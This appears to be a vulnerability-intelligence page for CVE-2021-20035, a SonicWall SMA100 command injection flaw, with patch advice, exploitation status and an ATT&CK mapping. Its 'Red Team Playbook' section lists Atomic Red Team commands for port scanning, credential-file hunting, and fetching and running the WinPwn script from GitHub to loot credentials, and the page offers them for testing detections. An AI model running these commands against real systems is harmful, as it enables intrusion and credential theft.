CVE-2021-20035

MEDIUM CISA KEV Pub 27/09 Upd 21/10

Overview

This vulnerability is a command injection flaw caused by improper neutralization of special elements within the SonicWall SMA100 management interface. The root cause lies in insufficient input validation on user-supplied data that is processed by the system shell, allowing injection of arbitrary commands. The affected component is the SMA100 management interface, which processes authenticated user inputs without adequate sanitization.

Vulnerability Description

Improper neutralization of special elements in the SMA100 management interface allows a remote authenticated attacker to inject arbitrary commands as a 'nobody' user which potentially leads to DoS.

Impact

An attacker with valid low-privileged authentication can execute arbitrary commands as the 'nobody' user on the SMA100 device. This can lead to denial of service conditions by disrupting critical processes or the device’s operation. The prerequisite is possession of valid user credentials with access to the management interface. Successful exploitation can cause service interruptions, impacting network security monitoring and remote access capabilities provided by the SMA100 appliance.

Solution

SonicWall has released firmware updates addressing this vulnerability for SMA 200 and SMA 210 devices. Administrators should apply the patches as detailed in SonicWall PSIRT advisory SNWLID-2021-0022 available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0022. Upgrading to the fixed firmware versions is the recommended remediation. No alternative workarounds are specified in the advisory.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability within the management interface of certain SonicWall SMA products stems from improper neutralization of special elements, which allows for command injection by an authenticated remote attacker. This flaw occurs when user input is not adequately sanitized, enabling the execution of arbitrary commands as a 'nobody' user. The implications of this vulnerability are significant, as it can lead to unauthorized actions within the system, potentially resulting in a denial of service (DoS) condition. The affected firmware versions across various models, including SMA 200, SMA 210, SMA 400, SMA 410, and SMA 500v, highlight the widespread nature of this issue, posing a risk to numerous organizations relying on these devices for secure remote access.

Attack vectors for exploiting this vulnerability primarily involve authenticated users who can access the management interface. Once inside, an attacker can leverage the command injection flaw to execute arbitrary commands. This could be done through various means, such as manipulating input fields or parameters that the system processes without proper validation. For instance, an attacker could craft a malicious payload that, when submitted, triggers the execution of unintended commands on the server. This exploitation could lead to service disruptions, unauthorized data access, or even complete system compromise, depending on the commands executed.

The real-world impact of this vulnerability is profound, especially for organizations that depend on SonicWall SMA products for secure remote access. If exploited, the potential for a denial of service could disrupt business operations, leading to significant downtime and financial losses. Furthermore, the ability to execute arbitrary commands could allow attackers to manipulate system configurations, access sensitive data, or pivot to other systems within the network. The business risk extends beyond immediate operational impacts; it also encompasses reputational damage, regulatory repercussions, and the potential for data breaches, all of which could have long-lasting effects on an organization’s credibility and customer trust.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions provided by SonicWall is crucial, as these updates often contain patches for known vulnerabilities. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their systems. Employing intrusion detection systems (IDS) can help monitor for unusual activities that may indicate exploitation attempts. Furthermore, implementing strict access controls and user authentication measures can limit the risk of unauthorized access to the management interface, thereby reducing the attack surface.

In conclusion, the command injection vulnerability within the SonicWall SMA management interface presents a significant threat to organizations utilizing these products. The ability for authenticated users to execute arbitrary commands poses serious risks, including potential service disruptions and unauthorized access to sensitive information. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to detect and mitigate these risks effectively. Proactive measures, including regular updates and robust security practices, are essential in safeguarding against such vulnerabilities and ensuring the integrity of their systems.




Recent updates to the CVE-2021-20035 vulnerability reveal a measurable increase in its Exploit Prediction Scoring System (EPSS) value, rising by approximately 14.5% to 0.0454. This upward adjustment, corroborated by CSURFACE threat intelligence, reflects a slight but consistent increase in the likelihood of exploitation attempts targeting SonicWall SMA100 devices. While no new exploit techniques or ransomware affiliations have been identified, the inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog as of mid-April 2025 signals heightened attention from the security community and potentially threat actors. The vulnerability’s EPSS percentile now approaches the upper decile, indicating growing relevance in the current threat landscape. For defenders, this shift underscores the need to maintain vigilance around authenticated access controls and monitoring for anomalous command injection attempts, as the risk of disruption or unauthorized actions remains tangible. Although the threat level remains medium, the trend suggests a gradual escalation in exploitation potential that could precede more active targeting, warranting continued observation.

Affected Products (15)

Vendor Product Version CPE
sonicwall Sonicwall Sma 200 Firmware All cpe:2.3:o:sonicwall:sma_200_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 200 Firmware All cpe:2.3:o:sonicwall:sma_200_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 200 Firmware All cpe:2.3:o:sonicwall:sma_200_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 210 Firmware All cpe:2.3:o:sonicwall:sma_210_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 210 Firmware All cpe:2.3:o:sonicwall:sma_210_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 210 Firmware All cpe:2.3:o:sonicwall:sma_210_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 400 Firmware All cpe:2.3:o:sonicwall:sma_400_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 400 Firmware All cpe:2.3:o:sonicwall:sma_400_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 400 Firmware All cpe:2.3:o:sonicwall:sma_400_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 410 Firmware All cpe:2.3:o:sonicwall:sma_410_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 410 Firmware All cpe:2.3:o:sonicwall:sma_410_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 410 Firmware All cpe:2.3:o:sonicwall:sma_410_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 500v All cpe:2.3:a:sonicwall:sma_500v:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 500v All cpe:2.3:a:sonicwall:sma_500v:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 500v All cpe:2.3:a:sonicwall:sma_500v:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

3 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-04-16
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
65% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
52%
High High
CAPEC-6 Argument Injection
48%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
45%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-20035
psirt.global.sonicwall.com
GitHub CVE x_refsource_CONFIRM
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0022
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-20035